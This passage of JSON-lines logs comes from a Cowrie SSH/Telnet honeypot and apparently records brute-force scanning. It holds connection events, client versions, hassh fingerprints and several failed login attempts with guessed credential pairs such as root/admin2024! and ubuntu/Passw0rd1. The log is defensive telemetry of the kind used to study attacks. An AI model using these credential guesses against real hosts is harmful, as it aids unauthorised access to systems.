2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:19.519046Z","src_ip":"156.227.233.77","session":"4e25cf896252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Passw0rd1","message":"login attempt [ubuntu/Passw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:20.209036Z","src_ip":"156.227.233.77","session":"4e25cf896252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"qwer1234","message":"login attempt [solana/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:20.420334Z","src_ip":"80.94.92.182","session":"08e2c5a9818d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:21.379803Z","src_ip":"156.227.233.77","session":"4e25cf896252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:21.668615Z","src_ip":"80.94.92.182","session":"08e2c5a9818d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.44","src_port":39228,"dst_ip":"10.17.0.5","dst_port":22,"session":"71eeb45cf0d5","protocol":"ssh","message":"New connection: 160.119.76.44:39228 (10.17.0.5:22) [session: 71eeb45cf0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:27.915475Z"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:32.915671Z","src_ip":"160.119.76.44","session":"71eeb45cf0d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.241.84.101","src_port":5998,"dst_ip":"10.17.0.5","dst_port":23,"session":"88ba9baa4325","protocol":"telnet","message":"New connection: 176.241.84.101:5998 (10.17.0.5:23) [session: 88ba9baa4325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:37.669356Z"}
{"eventid":"cowrie.session.closed","duration":120.00171685218811,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:44.075584Z","src_ip":"89.43.133.209","session":"6e30951a15e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35260,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f206bef32f5","protocol":"ssh","message":"New connection: 159.203.92.129:35260 (159.203.135.109:22) [session: 8f206bef32f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:51.834773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:51.839382Z","src_ip":"159.203.92.129","session":"8f206bef32f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:51.843779Z","src_ip":"159.203.92.129","session":"8f206bef32f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"box1!@3056","message":"login attempt [ansible/box1!@3056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:51.854886Z","src_ip":"159.203.92.129","session":"8f206bef32f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:52.862302Z","src_ip":"159.203.92.129","session":"8f206bef32f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":47950,"dst_ip":"159.203.135.109","dst_port":23,"session":"687a1a93ab96","protocol":"telnet","message":"New connection: 185.26.126.47:47950 (159.203.135.109:23) [session: 687a1a93ab96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:03.929581Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53854,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8f6e65f2808","protocol":"telnet","message":"New connection: 62.171.135.55:53854 (159.203.135.109:23) [session: c8f6e65f2808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:10.406080Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54242,"dst_ip":"159.203.135.109","dst_port":23,"session":"74e396f8f5bb","protocol":"telnet","message":"New connection: 62.171.135.55:54242 (159.203.135.109:23) [session: 74e396f8f5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:10.515102Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":57114,"dst_ip":"159.203.135.109","dst_port":23,"session":"c246363999c5","protocol":"telnet","message":"New connection: 62.171.135.55:57114 (159.203.135.109:23) [session: c246363999c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:11.399863Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.174.176.251","src_port":34584,"dst_ip":"10.17.0.5","dst_port":23,"session":"636ae70b3a32","protocol":"telnet","message":"New connection: 104.174.176.251:34584 (10.17.0.5:23) [session: 636ae70b3a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:17.304886Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":52802,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d23ff7f69c8","protocol":"ssh","message":"New connection: 156.227.233.77:52802 (159.203.135.109:22) [session: 2d23ff7f69c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:20.020295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:20.025308Z","src_ip":"156.227.233.77","session":"2d23ff7f69c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:20.189942Z","src_ip":"156.227.233.77","session":"2d23ff7f69c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123456789","message":"login attempt [test/test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:20.879341Z","src_ip":"156.227.233.77","session":"2d23ff7f69c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:22.045385Z","src_ip":"156.227.233.77","session":"2d23ff7f69c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":34686,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f11c867b7b9","protocol":"telnet","message":"New connection: 185.26.126.47:34686 (159.203.135.109:23) [session: 2f11c867b7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:23.422960Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":56232,"dst_ip":"159.203.135.109","dst_port":23,"session":"be2d14c18f0c","protocol":"telnet","message":"New connection: 62.171.135.55:56232 (159.203.135.109:23) [session: be2d14c18f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:29.540237Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":58036,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a1ae8263cd","protocol":"telnet","message":"New connection: 62.171.135.55:58036 (159.203.135.109:23) [session: 30a1ae8263cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:30.181432Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33840,"dst_ip":"159.203.135.109","dst_port":22,"session":"b738d6fe4e44","protocol":"ssh","message":"New connection: 159.203.92.129:33840 (159.203.135.109:22) [session: b738d6fe4e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:36.293280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:36.346407Z","src_ip":"159.203.92.129","session":"b738d6fe4e44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:36.369180Z","src_ip":"159.203.92.129","session":"b738d6fe4e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"centos","message":"login attempt [ansible/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:36.402488Z","src_ip":"159.203.92.129","session":"b738d6fe4e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:37.417055Z","src_ip":"159.203.92.129","session":"b738d6fe4e44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60998,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca38f358b95d","protocol":"telnet","message":"New connection: 62.171.135.55:60998 (159.203.135.109:23) [session: ca38f358b95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:38.863550Z"}
{"eventid":"cowrie.session.closed","duration":30.645573616027832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:41.051514Z","src_ip":"62.171.135.55","session":"c8f6e65f2808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.676236867904663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:41.191235Z","src_ip":"62.171.135.55","session":"74e396f8f5bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.99640774726868,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:41.925884Z","src_ip":"185.26.126.47","session":"687a1a93ab96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909324645996094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:21:42.309047Z","src_ip":"62.171.135.55","session":"c246363999c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.734737396240234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:00.274738Z","src_ip":"62.171.135.55","session":"be2d14c18f0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88296365737915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:01.064246Z","src_ip":"62.171.135.55","session":"30a1ae8263cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00114488601685,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:01.219477Z","src_ip":"45.181.100.135","session":"2ba6b4ec84e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.68440842628479,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:04.107248Z","src_ip":"185.26.126.47","session":"2f11c867b7b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26902,"dst_ip":"159.203.135.109","dst_port":22,"session":"31e5e0eff781","protocol":"ssh","message":"New connection: 194.59.206.2:26902 (159.203.135.109:22) [session: 31e5e0eff781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:04.708520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:04.715233Z","src_ip":"194.59.206.2","session":"31e5e0eff781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:04.803540Z","src_ip":"194.59.206.2","session":"31e5e0eff781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:04.897482Z","src_ip":"194.59.206.2","session":"31e5e0eff781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00120663642883,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:06.686138Z","src_ip":"45.181.100.135","session":"02d932d515d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":44954,"dst_ip":"159.203.135.109","dst_port":23,"session":"463a08a55b6e","protocol":"telnet","message":"New connection: 45.181.100.135:44954 (159.203.135.109:23) [session: 463a08a55b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:07.052679Z"}
{"eventid":"cowrie.session.closed","duration":30.63310432434082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:09.496528Z","src_ip":"62.171.135.55","session":"ca38f358b95d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":51054,"dst_ip":"159.203.135.109","dst_port":22,"session":"82ae5202a226","protocol":"ssh","message":"New connection: 156.227.233.77:51054 (159.203.135.109:22) [session: 82ae5202a226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:17.489978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:17.494518Z","src_ip":"156.227.233.77","session":"82ae5202a226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:17.659163Z","src_ip":"156.227.233.77","session":"82ae5202a226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2024!","message":"login attempt [root/admin2024!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:18.349762Z","src_ip":"156.227.233.77","session":"82ae5202a226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50592,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8e9fb4138be","protocol":"ssh","message":"New connection: 159.203.92.129:50592 (159.203.135.109:22) [session: d8e9fb4138be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:18.818305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:18.824507Z","src_ip":"159.203.92.129","session":"d8e9fb4138be","protocol":"ssh"}
